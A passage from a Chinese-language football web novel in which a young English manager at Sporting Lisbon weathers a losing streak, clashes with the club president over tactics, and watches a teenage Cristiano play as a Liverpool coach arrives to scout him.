“是的，我会的。” 克里斯蒂亚诺先是一愣，随后笑了笑，转身跑向台阶，很快没了影子。 黑色轿跑停歇了片刻，发动机的声浪忽然响起，像一条不存在的线，很快消失在巷尾。 回家的路上，不知道为什么，安东尼想起了克里斯蒂亚诺的笑容，和他身后的水晶灯一样，明亮耀眼。 要是有一口整齐的牙，笑容应该会更灿烂。 安东尼想。 * 这一周，里斯本竞技获得的关注，几乎是成倍的增加。 发誓夺冠的年轻主帅，从未在葡超现身过的快攻快守战术，还有里斯本竞技全员表现出的渴望和激情，每一条都点燃了葡萄牙球迷心中的火焰，接下来的几场联赛和葡萄牙杯的赛事门票，全都一售而空，主席富瓦克看着赛季的财政报告，笑的合不拢嘴。 媒体对安东尼的报道则是褒贬不一，大部分人认为只是一场联赛的胜利，并不代表什么，只有少部分人给予了这位新人主帅正面评价，说他注重细节、执行力强，战术新颖严谨，但几乎每一个评价后面都会跟一句话：相信以斯图亚特先生的潜能，一定会在二十年内，成为足坛炙手可热的名帅。 不过，这些看好安东尼的少数派媒体人，很快就悔得肠子都青了。 接下来的三场比赛，里斯本竞技客场对战，三次接连惨败，球员状态直线下，瞬间抠住了所有媒体人的神经，对安东尼的指摘和谩骂声此起彼伏。 《球报》：《 三连败！灰姑娘魔法消失，菜鸟还是菜鸟！》 《纪录报》发表的一篇名为《里竞还有未来吗？》里也提到：“显然，斯图亚特不会执教，他的幸运和美貌，让我们迷失了自我，而夸赞声也让这位年纪二十四岁的青年变得骄傲自大，竟然选择将自己创建的战术阵型用在联赛里，如果斯特亚特不尽快改变他的战术，里斯本竞技一定会毁在他的手里！” 且不说媒体怎么想，里斯本竞技的球迷已经逐渐疯狂，第一场时他们还会说这是意外，等到失败接二连三的袭来，他们脑中只有一个念头：让斯图亚特下课！ 俱乐部的球场里，一线队正在进行日常训练，隔着栏杆，示威声似有若无传了进来，球员们显然都听见了，偷偷看向教练。 球场中央，男人身形挺拔，烟灰色的双排扣西装戗驳领线条笔直，六粒扣牢牢扣住，微风一吹，从下摆缝隙露出内搭深灰马甲与暗红格纹西裤的裤腰。 他低着头，右手持笔在本子上不停记录着什么，黑色的发丝向后梳得齐整，唯有耳边几缕碎发飘扬，被阳光镀成了金棕色。 深邃的眉骨投射出一片阴影，恰好遮挡住了他的眼眸，唇角松弛，没有笑意也没有紧绷，就那么平平地抿着，专注而认真。 “乔安。” 安东尼抬起头，目光直直落在对面的跑道，正在偷看的青年似乎没有料到自己会被发现，表情呆愣，僵在原地。 “movefast。” 他用英语冷冷说道。 没有听懂的乔安依旧站在原地，被队友们取笑了一番，几人恼羞成怒的推搡了两下，一起跑去完成下一项训练。 安东尼收回视线，打开本子落下笔，笔尖在纸上划了两下，出来的却都是空白的线，安东尼这才意识到笔被他用没油了。 他抬手捏了捏眉心。 “老大，别给自己这么多压力，你做的已经够好了。” 助理教练奎西蒙也在一旁，见状赶紧走上前，从兜里掏出一盒口香糖递给安东尼，嘴里念念叨叨： “我觉得还是循序渐进比较好，这个四二三一的阵型，将防御线从三层变成四层，理论上来说确实能让防守变得更坚固，同时让前锋边锋的攻击更加灵活，但也要求球员们更好的配合，这些孩子一时半会儿还做不多。” 安东尼仰起头，随手扔了两颗糖到嘴里，薄荷的清凉味儿在嘴里蔓延开，他发胀的额角缓和了一些，从兜里掏出一根新的签字笔，继续书写。 他没有回答奎西蒙，反而问了个毫不相关的问题：“克里斯蒂亚诺的特训效果怎么样了？” “非常好，”提起球员特训的情况，奎西蒙立刻打起了精神，“他很有毅力，这几周他的肌肉量不断上升，左腿膝盖肌群薄弱这一点，通过训练很大程度上也纠正了。” 几周前，当安东尼找到他，给了他一份对克里斯蒂亚诺的提升训练的要求后，奎西蒙还以为安东尼疯了，要么就是他太恨这个孩子了，竟然想通过训练，将他过去的运动习惯全都打破，塑造出一个新的跑步模式，这简直比下地狱还痛苦。 “说实话，就连我自己都不知道他是怎么做到坚持这些训练的，”奎西蒙耸了耸肩，“那些训练项目，我光是看着就咂舌，根本不会去做。” “这就是为什么你会在葡超退役，而他会登上五大联赛。” 安东尼语气平静道。 “五大联赛？”奎西蒙先是一愣，随后瞪大了眼睛，“是哪个球队找上这小子了？” 安东尼抬头扫了他一眼，给出答案，“利物浦。” “你可不能能让人带走他啊老大，”奎西蒙顿时急了，“这几次比赛，你力排众议给这小子机会上场，好不容易把他塑造的像样了一些，还没享受好处，怎么就能让他走呢？” “选择去留是他自己的事，”安东尼合上本子，抬起眼，语气淡淡，“况且那是利物浦。” 英超的豪门球队之一，历史悠久，实力强悍，和里斯本竞技相比，简直是全方位秒杀。 “......好吧老板。” 奎西蒙妥协了。 安东尼看向远方，目光落在那群球员身上，结束一轮训练，正在补充水分的几个人聚集在一起，不知道说了什么，很快又散开了。 看起来没有任何异样.....？ 安东尼轻轻眯起眼。 10. 绅士间的交流 联赛第十四轮，里斯本竞技主场对阵本菲卡，以1：1的平局落幕，多亏客场多了一个进球，侥幸拿下了联赛的一个三分。 赛后，球员各个郁郁寡欢，更衣室里一片死寂。 面对媒体和球迷的炮轰，安东尼一再声明，现在的球队处于改革的前夕，需要一些时间让彼此磨合，成绩不佳是正常现象，请求不要影响球员心情，但大众似乎并不买账，球迷纷纷发出退票宣言，这直接惊动了富瓦克。 男人闯进了教练办公室，安东尼正在和教练组开会，门砰的一声被推开，露出一张极其愤怒的脸，面对奎西蒙等人飘来的担忧目光，安东尼微微摇头，让所有人出去继续工作，等到办公室的门被带上，视线落到富瓦克的身上。 “你看起来很糟糕，主席先生，”安东尼轻笑了一下，“需要给你倒杯咖啡吗？” “省省你的寒暄吧，斯图亚特。” 富瓦克径直走向圆桌后的安东尼，双手撑在桌边，俯下身，在他耳边恶狠狠的说道：“你必须恢复球队的状态，最近的比赛表现得如此糟糕，那些球迷吵着退票，这快把我逼疯了！” 安东尼点点头，“所以呢？” “所以呢？”富瓦克气笑了，“你还记得你和我保证过什么？你说这个赛季球队绝不会掉到保级队伍。” “哦，是的，我说过。” 安东尼露出一副恍然大悟的神色，在富瓦克几乎要喷火的目光中，缓缓开口问道：“我们的排名有下降吗？” “三轮客场比赛，虽然全都输了，可其中对阵布拉加和国民队的主场比赛还没有进行，胜负未知，只有里奥阿维，我们在第七轮的主场作战就输了，让对方拿到了三分，综合来说我们只是输了一场比赛不是吗？” 安东尼的数据和逻辑非常清晰，这让没有做任何准备就来兴师问罪的富瓦克有些猝不及防，他卡顿了一下，又立刻拔高了声音。 “可球员们的状态不好，按照这个趋势......” “呲呲——” 恰好此时，燃气灶上的水壶烧开了，刺耳的声音打断了富瓦克的未尽之言，安东尼站起身，给自己倒了杯热茶。 阳光透过玻璃窗投射在屋内，水汽如同一团浓雾不断缠绕、攀升，氤氲了安东尼棱角分明的侧脸，让人看不清他的表情。 “无意冒犯，主席先生，”他的唇角微微上扬，转过身，撞上富瓦克的视线，“我不喜欢一个外行指手画脚。” “怎么了？”安东尼注意到富瓦克眼底的怒意，歪头疑惑道：“据我所知，你之前在公司是负责体育用品的营销工作，足球不是你的爱好，现在看来......” 安东尼上下扫视了他一眼，给出结论。 “你也不擅长足球。” “你这个#￥……&%.....” 富瓦克瞬间怒了，上前两步，一把抓住安东尼的衣领，用力一扯，被对方反手按住胳膊，叠在身后，对方手臂用力，他的眼前忽然天旋地转，没等反应过来，脸就贴上了岛台冰冷的大理石，惊吓让他呼吸急促起来。 安东尼俯下身，凑到富瓦克耳边，语气轻轻，“这是你第二次和我动手了，主席先生，我劝你真的要改一改这火爆的脾气。” 富瓦克的呼吸加重了几分，似乎还不甘心，不停扭动肥硕的身躯，妄图挣扎。 安东尼叹了口气。 随着身后那双手掰扯的力度加重，胳膊发出咯吱的呻、吟，富瓦克痛苦的哼出了声。 “放开我！” 富瓦克低吼道。 “别激动，”安东尼不急不缓道，“我会松开你，但你要保证之后会做个绅士，好吗？” 看似是给他选择的机会，胳膊的关节越来越痛，仿佛自己要是不同意，下一秒男人就要扭断他的胳膊，富瓦克屈辱的点点头，在安东尼挑眉的疑惑表情下，喉结轻滚，齿缝里轻飘飘逸出一声：“好”。 安东尼松开手，后退两步，顺手拿起岛台上的杯子，坐回椅子上，浅浅沁了口茶，好像什么都没发生一般云淡风轻。 富瓦克扯了扯乱糟糟的西装衣摆，不情不愿在他对面坐了下来。 沉默了一会儿，富瓦克率先开口。 “你要怎么做？”他语气生硬，“别告诉我你没有想法，你的胜负欲不会允许你继续输下去。” 经历了这几次和斯图亚特的交锋，富瓦克已经发现了对方的性格，风度翩翩的绅士外壳下隐藏着极致的掌控欲，一旦有了目标，就会有强烈的进取心驱使他达成，绝不允许自己失败。 安东尼没有反驳，笑着问了个问题。 “你了解战术阵型吗？” 富瓦克先是一愣，继而摇摇头。 “十九世纪八十年代，普雷斯顿北端俱乐部主帅发明了‘2-3-5’的金字塔阵型，这是足球史上第一个被广泛认可的标准阵型；后来随着越位规则改制，‘WM’阵型横空出世，诸如阿森纳主教练赫伯特·查普曼等人，以‘WM’阵型为基础，改进了新的战术阵型以适应球队特质，这就是足球教练运用战术帮助球员赢得比赛的开端。” “自从二十世纪五十年代开始，全世界的足球队都有了战术概念，战术也用实际行动证明了它的价值。例如4-2-4阵型，通过拉边锋创造空间，流畅的进攻配合，让17岁的球王贝利登上历史舞台，也让巴西队两次大放异彩；又例如经典的4-4-2阵型，强调中场控制和攻守平衡，创造了‘无翼奇迹’，帮助英格兰在1966年夺得世界杯冠军。” 面对安东尼科普的战术历史，富瓦克听得似懂非懂，但从话语中隐隐能察觉出安东尼的倾向。 富瓦克喃喃：“你认为战术能决定球队的胜负，而不是球员。” 安东尼瞥了他一眼，既没认同也没否定。 他继续说道：“当年人人都说意大利教练的‘链式防守’通过一名拖后的清道夫补位，让防守艺术达到了巅峰水平，但七十年代荷兰队带来了一个全攻全守阵型：4-3-3。” “这个阵型是改革性的变化，它开创了全新的空间理论时代，让所有球员不再拘泥于自己的位置，任何人都可以进攻、防守、组织，球队呈现出整体流动趋势。” “通过压缩球场空间、缩短防线纵深形成局部人数优势，在防守难度上和链式防守相当，偏偏又兼顾进攻强度，天然的压制了‘链式防守’。” 安东尼语气有些可惜，“萨基把这个理论运用到了极致，可惜现在足坛并没给他足够的尊重，也没有重视区域防守的概念。” 富瓦克想起来对阵本菲卡时，安东尼用的就是这个全攻全守阵型，搅乱了对方4-4-2的防守阵型，但这几场比赛却和之前不一样，似乎是叫...... “四二三一阵型。” 安东尼看见富瓦克越发紧皱的眉头，好心提醒道。 “所以你现在做的就是发明一个无敌的新阵型？”富瓦克问。 “世界上没有无敌的阵型。” 安东尼笑着摇摇头，顺便澄清了媒体的谣言，“这个阵型也不是我发明的，是一个西班牙教练胡安马·利略。” 富瓦克冷静下来，分析道：“既然你选择了这个阵型，说明它就算不是无敌，也有很大的好处。” “是的，当然，”安东尼点点头，第一次认真看向富瓦克，说，“在四二三一阵型里，双后腰是天然"锚"——攻转守时他们不需要跑太远，立刻站住中路，也就是说当我们球权丢失的瞬间可以立刻封堵中路，让对手无法按照直线反击，这中间的时间差，足以我们回撤防守。” “....听起来像是时刻在为丢球做准备。” 富瓦克猜测。 安东尼给了富瓦克一个赞赏的目光，“你说的对极了，预防性防守，这可以大大减轻后卫的压力。” 猜到了战术意图，还得到安东尼的正眼相待，富瓦克不由有些兴奋，他扯了扯领带，兴致前所未有的高涨。 他继续猜道：“因为我们的球队后卫防守薄弱，所以你才选用这个阵型，想要加固防守。” “这对我们球队来说是最适合的战术，对吗？” 富瓦克仿佛看透了安东尼，脸上挂着胜券在握的笑容。 “哦，那倒不是。” 安东尼的否认云淡风轻，“我只是想证明佬伦佐的观念不正确而已。” “四二三一阵型虽然能在保证防守的同 时加强进攻，但是这个阵型非常依赖双后腰截断进攻和控制节奏的能力，我们没有这么优秀的中场，使用这个阵型其实非常冒险。” “什么？” 富瓦克一脸惊愕，还以为自己耳朵出问题听错了安东尼的意思，怎么会有人就为了证明别人的观念是错的，而为球队选择冒险的战术，将球队置于失分的境地，这简直是疯子的行为。 “你很恨劳伦佐吗？”他不禁发出疑问。 “不。” 安东尼轻轻吐出一个字。 “那为什么这么做？” 富瓦克皱眉，语气不解。 “因为有趣，”安东尼笑了笑，“反正不会影响联赛的分数，试一试又怎么样呢？” 这真是个彻头彻尾的疯子！ 富瓦克在心里低骂。 他现在是看出来了，斯图亚特不仅是个控制狂，还是个偏执狂，他根本不在乎球迷和媒体的想法，一心只是想要证明自己是正确的，是唯一的赢家。 “你把足球当成了一场游戏，”富瓦克肯定道，“你不喜欢足球。” 安东尼不置可否，低头喝了口热茶，挑眉道：“我喜欢赢。” “.......” “那正好，我也喜欢赢。” 富瓦克抬手擦掉额头的冷汗，冷静道：“我现在能知道你对接下来的比赛的计划了吗？别忘了，下周开始球队要进入葡萄牙杯的赛程，一周双赛对球员的压力有多大，我想你应该知道，不要玩脱了。” “请放心，”安东尼好脾气的点点头，“四二三一只是一种尝试，同时也帮我了解到了每个球员的强项和弱点，这周的比赛我会做出改进的。” “.....你最好是。” 富瓦克起身准备离开，却被身后的安东尼叫住了。 “既然已经交心谈论过了，以后还是多给我些信任吧。” 安东尼拍了拍富瓦克的后背，力度不轻不重，一切都是刚刚好。 他说：“承诺过的事，我会做到。” “我知道了。” 富瓦克声音沙哑，推开门离开，背影匆匆。 安东尼靠在门边，静静地看着他的身形消失在拐角，嘴角平平，不知道在想什么。 下一秒，身后传来声音。 “老大，你要的报告我已经整理好了，”纸张翻页的沙沙声在他耳边响起，“一线队的锻炼强度、身体修复情况、肌肉骨骼强韧度、脚下技能熟练程度、饮食摄入情况.......这个月以来的所有数据变化全都整合完毕了。” “谢谢你卡希尔，”安东尼转过身，接过堪比国家字典的报告书，抱在怀里，见他仍站在原地，疑惑道：“还有事吗？” “额，算是吧。” 金发男人推了推黑框眼镜，语气有些尴尬，“我听说有人在更衣室里似乎说了些闲话。” “闲话？” 安东尼露出一个温和的笑容，“什么闲话？” 卡希尔有些不习惯这个笑容，后背鸡皮疙瘩竖起，下意识后退一步，小心翼翼道：“似乎和您的战术和用人有关......” “哦，”安东尼点点头，得出结论，“有人要造反。” “啊？”卡希尔愣了一下，赶紧摆摆手，“只是抱怨而已，可能是最近输球，所以才......” “别紧张卡希尔。” 安东尼笑着看向他，“输球不满教练，这不是在预料之中的事吗？” “是这样吗？” 卡希尔没经历过这些，茫然地喃喃。 “先不用理会，我抽时间去处理，”安东尼看了眼自己怀里的资料，思考了一会儿，说：“下周的葡萄牙杯，我们对阵的是圣克拉拉，做出一份对方的战术和球员优缺点分析，今天下班前给我，我要准备出场名单。” “出场的名单还要变动吗？” 卡希尔有些惊讶。 里斯本竞技不爱买球星，甚至经常把优秀的小妖卖给五大联赛，球场边板凳并不厚，除了受伤的情况，名单从没变过。 “不仅要变名单。” 在卡希尔震惊的目光中，安东尼淡定补充道：“我还要变战术。” 11. 赛前准备 刚结束一场联赛，球员迎来两天的恢复训练，上午看过医生，进行间断性地冰浴、按摩来缓解肌肉疲劳，下午在球场上进行触球训练，保持脚感。 自从安东尼当上主教练后，给恢复训练期间加了一个课程：比赛分析。 十几个球员坐在会议室里，一起观看上一轮比赛，安东尼会将每一个出现问题的场景找出来，给场上所有位置的球员都分析一遍，这个过程漫长且枯燥无味，但是对于提升球员的大局观非常有好处，几次下来，球队的整体配合度更高了，球员能感觉到自己的收获，渐渐地，抱怨声变少了很多。 除此以外，这两天安东尼还会联合教练团队，分析下一场比赛对手，根据他们的球员以及战术弱点，给出一套突破方案以及出场名单。 但因为安东尼一向主张以四二三一阵型为主，出场球员也没有多大变动，所以就看不出这项工作的重要性，直到今天，这个组建只有一个月的教练团队迎来了巨大的考验。 安东尼以及助理教练奎西蒙、战术分析师卡希尔，三人围坐在会议室圆桌前，制定五天后联赛的战术阵型。 昨天卡希尔汇总的报告一式三份摆在桌上，安东尼昨晚已经全部看完了，记忆还很新鲜，他率先开口道：“萨林医生给球员们检查过身体了，萨.平托的脚踝有些炎性损伤反应，虽然不严重，安全起见还是让他坐在替补席上。” 话音落下，卡希尔和奎西蒙相视一眼，前者率先开口。 “萨.平托是中场最重要的一环，一直以来也是踢左后腰的位置，要是他不在的话，四二三一阵型就不成立了。” “是的，我也这么想的。” 安东尼点点头。 平时工作中，安东尼是两人的上司，但在会议室讨论过程中，安东尼不允许两人有所隐瞒，不管是什么想法都可以畅所欲言，三人合作一向和谐，但听到安东尼愿意放弃四二三一阵型，卡希尔还是松了口气。 安东尼继续道：“这一轮联赛，波尔图主场对阵升班马吉马良斯，没有意外一定会得到三分，我们这边对阵去年的黑马冠军博阿维斯塔，同样得取得三分，才能给波尔图造成心理压力。” 除此之外，要是再输一场比赛，对里斯本竞技这些野心勃勃想做冠军的小油菜来说也会是很大的心理负担，甚至可能从灰心丧气变成一蹶不振，所以这场比赛，他必需要赢才行。 奎西蒙：“博阿维斯塔的主帅擅长强攻战术，我们可以用防守阵型，等到对方露出破绽再进行反攻。” “以盾挡矛，这当然没问题，”安东尼指尖微曲，轻轻敲打桌面，反问道：“4-2-2阵型，用谁来做后卫能保证后防线不被冲垮？” 奎西蒙一时也说不出来。 右后卫塞萨尔以出色的进攻能力闻名，不擅长身体对抗；中后卫菲利普擅长铲人，但身上已经背了个黄牌，再有一张就要罚下，安德烈和贝托是防守型后卫，但跑动速度平平，根本抵挡不住对面锋线的进攻，抢不下球权，擅长传射的鲁伊更是无计可施。 换而言之，里斯本竞技的后防线简直是破洞的铁桶，这也是为什么安东尼尝试用4-2-3-1阵型，试图通过灵活调度双后腰，保证后场的安全，同时能快速给前场输送传球，可惜训练时间太短，佩德罗和萨.平托对于向前场传输球的时机掌控不到位，现在能做到的只有快速回防后场。 他当然也可以用4-4-2阵型，把所有防守型中场放在场上，保护球门，可问题是不进球最多就是平局，根本赢不了比赛。 大胆进攻获得三分或者零分，还是保守回防获得一分，这是个问题。 安东尼询问两人的意见，一个支持进攻，一个支持防守，1：1打了个平手，他沉思了一会儿，做出最终决定：进攻。 博阿维斯塔的后防线薄弱，和他们不相上下，这样的薄弱点，放着不碰实在可惜。 但是两矛相遇想要赢，要么动作更快，要么矛头更加锋利。 奎西蒙说：“我们的球员年纪更年轻，跑动数据也更好，不如用快攻快守，把比赛节奏带起来，就像上次对阵波尔图一样，大幅度耗尽他们的体力，至少保证后半场有速度优势。” 卡希尔点头，“或者逼抢压迫呢？只要失去球权就立刻夺回来，保证场上节奏一直在我们手里。” “这个赛季博阿维斯塔表现不佳，总积分第五，想必很需要斩杀一个豪门，彰显能力。” “我们最近持续输球，对方怕是把我们当做势在必得的三分了。” 安东尼耐心倾听两人的战术建议，没有出声，半眯着眼沉思。 4-3-3阵型是肯定无疑的选择，但阵型只是一个“初始站位”，真正决定比赛走势的，是球员在比赛过程中的移动、跑位、换位以及教练的临场指挥。 移动、跑位、换位，这就要涉及到每个场景，在面对不同情况下的选择，或者说战术倾向。这需要根据不同的球员特点，以及他们的队友还有对手情况，做出判断才能决定。 就像是一场象棋游戏，每一步都会衍生出无穷可能性，秩序和混沌的状态相互转化。 “等明天队内赛选出大名单之后再商议剩下的事。” 安东尼拍板决定。 下午依旧是比赛分析课，昨天分析过球队和本菲卡打平的比赛，今天安东尼拿出的是下一场比赛对手博阿维斯塔和本菲卡的比赛视频，1：2，本菲卡客场作战成功，安东尼分析了博阿维斯塔失败的原因，以及哪些场景是致命错误，提前给下场比赛的进攻战术做预热。 分析课持续到晚上六点，安东尼宣布下课的同一时刻，座下所有球员都松了口气。 任谁坐在会议室里一动不动听了两个小时的理论分析脑子都会疼，况且是平均学历只有小学六年级的球员们，安东尼大发慈悲免了今天的学习报告，引来一片赞美声。 他摇摇头，心里有些好笑，整理好纸质资料，回到办公室，将资料锁在抽屉里，下班回家。 离开俱乐部前，安东尼习惯性用余光扫了一眼球场，果不其然看见了一个熟悉的身影。 助跑、抬脚、射门，反复执行，仿佛机器人一样，每个动作都格外标准，没有任何懈怠。 安东尼脚下动 作一顿，思索片刻，走进球场。 克里斯蒂亚诺将球按在罚球点上，后退了几步，眯起眼看向球门。 汗水顺着他的额头的卷毛滑落，掉在他的睫毛上，他条件反射的眨了眨眼睛，这似乎让他很羞恼，下一秒，他撩起球衣下摆，胡乱的搓起脸，直到将脸颊搓的通红，也没有停下。 “因为明天而焦虑？” 安东尼突然开口，吓了少年一跳。 克里斯蒂亚诺猛地向后转身，脸上写满了惊慌，见到双手插兜，缓缓挑眉的安东尼，紧绷的心骤然放松，这才想起对方的问题。 他伸脚勾球，轻轻一挑，足球落在他的怀里，克里斯蒂亚诺抱紧怀里的足球，缓缓开口：“有一点，何塞说明天的队内赛很重要。” “你的经纪人和你说了利物浦教练会来看你的比赛，”安东尼了然，点点头，问道：“你想去利物浦吗？” 话音刚落，他又立刻改口。 “sorry，”安东尼轻笑了一下，“原谅我问了愚蠢的问题。” 克里斯蒂亚诺张了张嘴，最终没说出违心的话。 他太渴望能站在五大联赛的舞台上，和更好的球员合作，或是竞争。 “利物浦是英超豪门，”安东尼声音不疾不徐，“豪门都喜欢有潜力的球员，如果你的经纪人够聪明，让他给你争取足够的上场时间，球员的价值由球场的表现决定，看守饮水机就是慢性自杀。” “另外......” “利物浦不一定会选我！” 低沉磁性的嗓音钻进耳朵里，明明是真诚的建议，克里斯蒂亚诺的心脏却砰砰直跳，心底像是有虫子在爬，又麻又痒，让他感觉躁动不安，趁机打断了安东尼的话。 克里斯蒂亚诺抬起头，直直盯着安东尼的眼睛，冰晶一般透彻的蓝，就像是百尺深的湖泊，将所有情绪掩埋其中，让人看不出他内心的真实想法。 “去训练吧。” 安东尼笑着和他说。 克里斯蒂亚诺犹豫了一秒，点点头，再次回到门前，重复着之前的动作，黑白足球像是一记重炮，不停击打着球网，纯白网布一次次撑起漂亮的弧度。 安东尼站在原地，静静看着这一幕，微风吹拂衣角，送来阵阵凉意，他动了动胳膊，将手揣进兜里更深处。 天色渐暗，球场内，白炽灯骤然亮了起来。 安东尼下意识眯起眼，仔细看去。 细密的汗珠凝成豆大的水滴，沿着克里斯蒂亚诺的鬓角滚下来，渗进那头浓密的黑色卷发里，卷发贴在太阳穴上，乱糟糟的，随风飘摇。 小鹿般圆溜溜的眼睛，呈现出甜美的焦褐色，漂亮却不脆弱，眼底闪烁着光芒，一如既往，坚韧无畏。 安东尼注视着少年，嘴角缓缓抬起，勾勒出一道浅淡的弧度。 汗水再次落进眼里，克里斯蒂亚诺快速眨了下眼睛，这才意识到自己又沉浸在训练中忘了时间。 他下意识转过身，看向远处。 夜幕下，球场灯光仿佛舞台的聚光灯，静静铺在草皮上。 那里，空无一人。 12. 暗流涌动 第二天一早，安东尼接到了何塞.加维的电话，声称利物浦主教练杰拉德.霍利尔先生临时改了行程，到访时间推迟到下午，要求他将队内赛推迟到这个时间。 安东尼身为主教练，有绝对的权利对此说不，但这会面临极高的代价，何塞.加维是葡萄牙足球经纪人大鳄之一，手下有大半葡萄牙球员，得罪他会让转会期的交易变得艰难，这对需要向五大联赛卖人的里斯本竞技非常不利，安东尼顺理成章同意了请求，至于心中的想法，无人得知。 上午，球员们继续日常训练，助理教练奎西蒙下发了对阵名单，一场7v7，是队内赛的正常规格，唯一不同的是队友阵容。 俱乐部所有人都知道，队内赛两边队伍的球衣潜规则。穿绿色球衣的队伍是板上钉钉的出场球员，橘色球衣则是待定考察球员，出人意料的是，他们的队长迭戈没有在绿队，替代他进入绿队的是克里斯蒂亚诺。 竟然是那个不到17岁的瘦弱小鬼！ 一时间，训练室内寂静无声，几道视线似有若无，看向跑步机上的绿色身影，很快又移到角落里做俯卧撑的橘色背影，在两人之间不断徘徊。 做完十组训练后，迭戈站起身，豆大的汗水顺着脸颊落在地上，他刚要转身拿毛巾，眼前一道优美的弧度划过——有人贴心的把毛巾扔在他怀里。 迭戈举了下毛巾，抬头看向一旁的乔安，淡声道：“谢了。” “客气什么，队长。” 乔安笑着摆了摆手，没有离开，上前两步站到迭戈身旁，两臂挂在杠杆器械上，微微用力，双脚上提，饱满结实的背肌将绿色球衣完整撑起，在器械上荡来荡去。 迭戈垂了下眼，仰起头，眼底一片清明。 “有事吗？”他问。 “就是想随便聊聊。” “你和我？”迭戈平静的阐述事实，“我们记得我们没有什么私交。” “教练不是让我们好好相处吗？”乔安大大咧咧道，“克里斯蒂亚诺那个小鬼不就是听教练的话，和保罗、罗德里戈那些人处的不错，上周他替补上场二十五钟，他们都给他传了球，他还射门了两次。” “哦对了，队长你发现了吗？他的出场时间越来越长，从刚开始的十分钟，一点点变成了二十五分钟，踢的位置从前锋到左边锋、中锋，每次都不一样，奎西蒙先生还给了他一份新的训练计划，看来教练很看好他.....” 乔安话语一顿，从器械上跳下来，拍拍手，语气漫不经心，“下周就是他的第一次首发吧。” 迭戈没出声。 他站在原地，静静地看着乔安，半响，开口道：“你真无聊。” “哈哈哈！” 乔安捧腹大笑。 他擦掉眼角泪花，伸手一把拐过站在原地的迭戈，胳膊搭在他的肩膀上左右晃荡。 “别那么严肃队长，教练有他自己的打算，”乔安左看右看，压低声音，“我听说五大联赛的主教练会来看这场队内赛，估计这才是那小子被分到绿队的原因，好给他个展示能力的机会，别瞎想，中锋主力的位置肯定还是你的。” 迭戈的瞳孔忽然颤抖了一下。 “....谢了兄弟。” 迭戈喉结一滚，缓缓开口。 * 下午两点，球员在场边做热身运动，绿色和橘色球衣的球员隔着一棵树，彼此泾渭分明。 安东尼站在场边，视线落在球员身上，目光平静。 五分钟后，“吹哨，准备开始。” 奎西蒙一愣，“可利物浦的教练还没到。” “我遵守了我的诺言，不代表要容忍他没有时间观念的陋习。” 安东尼抬起手，胳膊伸向奎西蒙，西装的袖口后缩，露出手腕上的银白表盘，白色短针处于罗马数字2和3的中间，显然，利物浦的主教练已经迟到了。 奎西蒙抿了抿唇，想要再劝两句，安东尼视线扫了过来，他立刻闭上嘴，向中场跑去。 “哔——” 哨声响起的同时，安东尼身后传来一串不规则的脚步声，伴着阵阵欢笑，几句蹩脚的英音夹杂其中，更具喜剧色彩。 “初次见面，斯图亚特先生，”一个笑容满面的西装男向他伸出手，短暂相交后，男人转向身后，语气郑重，“容我介绍一下，这位是利物浦的主教练杰拉德.霍利，霍利先生，这位是里斯本竞技的主教练安东尼.斯图亚特，是个英国人。” 霍利抬起眼，目光落在安东尼身上，顿时露出惊艳的神色。 “斯图亚特先生.....真是让人一见难忘。” 安东尼面不改色点点头，“霍利先生也一样。” 两人就着英国的餐厅简单寒暄了两句，何塞站在两人，笑容满面，似乎根本没注意到球场上已经开始的比赛。 霍利笑着道：“我得承认斯图亚特你说的很对，英国的米其林餐厅前十名都是法餐。” “我相信您早就这么想了，谈起餐厅您的脸上写满自豪。” 安东尼语气不急不缓，语调仿佛在诵读诗句，带着上世纪贵族般的优雅韵律，让人不自觉沉浸其中。 霍利点点头，嘴角的弧度不断扩大，“你说的没错，毕竟在美食领域，我们法国人可不会自卑。” 说完，霍利眨了眨眼，眼神颇具调侃意味。 人人都都知道英国菜单薄的和美国历史一样，安东尼听完他的话，脸上面不改色，依旧保持得体的笑容，他可不是纯种英国人。 两人气氛渐入佳境，就在这时，霍利话语一转，“就像我对我的球队也非常自豪。” “自从98年接手利物浦球队，我一直在努力寻找有天赋的球员，在我的雕琢下，将他们融为一体，塑造一只完美的队伍，事实上，我可以骄傲的说，现在的利物浦已经是接近完美的存在了。” 这话并不假，安东尼知道就在今年，利物浦会斩获欧洲联盟杯、英格兰足总杯、联赛杯、英格兰社区盾、欧洲超级杯这五个赛事的冠军，荣获“五冠王”的名号，四年后更是捧下了欧冠的圣杯，一切都离不开霍利塑造的这支队伍。 安东尼点点头，“我想是的。” “28号就是克里斯蒂亚诺那个孩子吧？” 霍利的目光落在球场上，一道绿色背影格外引人注目，跑起来如猎豹般迅捷，转身过人时，足球仿佛和他的脚融为一体，仅这一个画面，就足够判断出他的脚下技巧十分灵活。 “是的，”何塞适时插入对话，“他是个很有潜力的孩子不是吗？天赋极佳，还非常努力，您的队伍缺少的优秀左边锋，我认为他正好可以适应这个位置。” 霍利瞥了一眼身旁的商人，嘴里说了些似是而非的话。 “你说的有道理。” 一旁各有算盘的两人打起哑谜，暗地里互相试探，安东尼没有在意，目光落在球场身穿橘色球衣几人身上，神色渐渐凌厉，冷若寒霜。 按照赛前的战术指导，安东尼将队长迭戈放在中场，左后腰的位置即控制型中场的核心位置，负责掌控比赛节奏，整体实力稍弱的橘队要使用防守反攻的打法，理应在一次进攻后，将球回传给后卫，用倒球的时间重整队形，可在迭戈回传之后，后卫迪马斯直接带球突破，逼近前场。 绿队本身采用的就是强攻战术，安东尼要求他们高位压迫前场，随着橘队战术变形，一时间两队都进入疯狂逼抢的节奏，球员出现身体冲撞，一时间火药味十足。 奎西蒙有些担心，回头看向场地边的安东尼，希望能得到进一步的指示，毕竟是队内赛，奎西蒙不希望任何人受伤，天知道他们下周还要踢联赛呢！ 场边，安东尼看见了奎西蒙的目光，没有任何动作。 奎西蒙叹了口气，回过头，继续做一个称职的裁判。 拦截、抢断、飞铲，球员接二连三的逼抢，球场上到处是被踹飞的草皮。 霍利似乎看出了什么，侧过头，笑着和安东尼说：“你的球员很有激情啊。” “年轻人都一样，有时候会做出些冲动的事，其实很可爱不是吗？” 霍利的语调轻松，他不在意球员们的冲动行为，恰好证明了他对这些球员没有任何期望。 一个二流球队，搭配一群二流球员。 球场上，克里斯蒂亚诺带球突破，被对面两人围堵，他踩着单车过人，任由队友招手，没有传球，甩掉两人后，继续全力奔跑，一只脚滑了过来，将他狠狠放倒在地。 少年在球场上滚了两圈，委委屈屈站起身，顶着红眼睛重新奔跑。 安东尼没说话，半响，右边唇角缓缓勾起，那笑意从嘴角蔓延到颧骨，肌肉牵动时，颊边旋出浅浅的纹路。 